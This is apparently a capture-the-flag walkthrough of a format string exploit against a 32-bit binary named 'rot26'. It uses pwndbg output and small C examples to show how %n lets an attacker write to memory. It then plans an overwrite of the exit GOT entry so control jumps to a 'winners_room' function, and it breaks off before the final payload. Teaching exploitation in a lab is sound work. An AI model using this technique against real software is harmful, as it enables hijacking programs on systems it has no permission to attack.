BIT : 32 Relro : Partial Stack Canary : No canary found NX : Enabled PIE : No PIE (Important) RPATH : No RunPATH : No Symbols : 78 Fortify : No Fortified : 0 Fortifiable : 2 File : rot26
So we have an NX enabled (no Executable Stack), but luckily we don’t have PIE.
pwndbg> disass main Dump of assembler code for function main: 0x08049176 <+0>: lea ecx,[esp+0x4] 0x0804917a <+4>: and esp,0xfffffff0 0x0804917d <+7>: push DWORD PTR [ecx-0x4] 0x08049180 <+10>: push ebp 0x08049181 <+11>: mov ebp,esp 0x08049183 <+13>: push ebx 0x08049184 <+14>: push ecx 0x08049185 <+15>: sub esp,0x10 0x08049188 <+18>: call 0x80491c9 <__x86.get_pc_thunk.ax> 0x0804918d <+23>: add eax,0x2e73 0x08049192 <+28>: mov DWORD PTR [ebp-0x10],0xa 0x08049199 <+35>: mov DWORD PTR [ebp-0xc],0x14 0x080491a0 <+42>: sub esp,0x4 0x080491a3 <+45>: push DWORD PTR [ebp-0xc] 0x080491a6 <+48>: push DWORD PTR [ebp-0x10] 0x080491a9 <+51>: lea edx,[eax-0x1ff8] 0x080491af <+57>: push edx 0x080491b0 <+58>: mov ebx,eax 0x080491b2 <+60>: call 0x8049040 <printf@plt> 0x080491b7 <+65>: add esp,0x10 0x080491ba <+68>: mov eax,0x0 0x080491bf <+73>: lea esp,[ebp-0x8] 0x080491c2 <+76>: pop ecx 0x080491c3 <+77>: pop ebx 0x080491c4 <+78>: pop ebp 0x080491c5 <+79>: lea esp,[ecx-0x4] 0x080491c8 <+82>: ret End of assembler dump. pwndbg> b *0x080491b2 # Breakpoint before the call to printf Breakpoint 1 at 0x80491b2 pwndbg> r pwndbg> x/10x $esp # print stack
# Stack address address of value of value of # | "%d %d \n" x y # v 0xffffcee0: 0x0804a008 0x0000000a 0x00000014 0x0804918d 0xffffcef0: 0x00000001 0xffffcfb4 0x0000000a 0x00000014 0xffffcf00: 0xffffcf20 0x00000000
pwndbg> x/s 0x0804a008 0x804a008: "%d %d\n" # check the value in this address
So in this case we push values from right to left (as ecdl).
From right to left : y, x, address of format string.
What happen if we have control of the format string and we use "%08x %08x %08x %08x %08x" without any parameters (no x and y) ?
Well the printf functions printed the value that were on the stacks (didn’t print the first value because the first value is the format string address).
How can this be dangerous?
Well using the glorious %n.
Example :
1 2 3 4 5 6
intmain() { int x = 0; printf("aaaaaaaaaaa%n", &x); return0; }
This format doesn’t print anything, but it writes inside the address specified by x the numbers of characters written before the %n. In this case 11.
Now we have the ability to overwrite any values in memory (functions, pointer, variables etc..).
We can use this trick to change the value of the exit function, and let it points to the winners_room function.
pwndbg> disass 0x80484a0 Dump of assembler code for function exit@plt: # PLT GOT.PLT
0x080484a0 <+0>: jmp DWORD PTR ds:0x804a020 0x080484a6 <+6>: push 0x28 0x080484ab <+11>: jmp 0x8048440 End of assembler dump. pwndbg> x 0x804a020 # exit # | # v 0x804a020 <exit@got.plt>: 0x080484a6
pwndbg> p winners_room $1 = {<text variable, no debug info>} 0x8048737 <winners_room>
Now we need to change the value inside 0x804a020 (pushing it into the stack) to 0x8048737. The first thing to do is to compute the offset between the output of the printf and our input.
pwndbg> c # I put dots by myself Continuing. AAAA.ffffaefc.00001000.08048791.00000000.00000000.00000000.4141414178383025783830257838302578383025783830257838302578383025783830257838302578383025783830257838302578383025
And we can confirm that the offset that we need is 7. Remember that using "%x$d", (where x is a number) we can print the value in the x offset.
Example:
1 2 3 4 5 6 7 8
#include<stdio.h> intmain() { int x = 10; int y = 20; printf("%2$d and %1$d", x, y); return0; }
Output:
1 2
╰─🐈️./example 20 and 10
Now to simplify the creation of the payload I used a special table which allows to write any value in any address I want using a format string.
Where addr is the address where we want to write. HOB (High Order Byte) and LOB (Low Order Byte) are the value that we wants to write.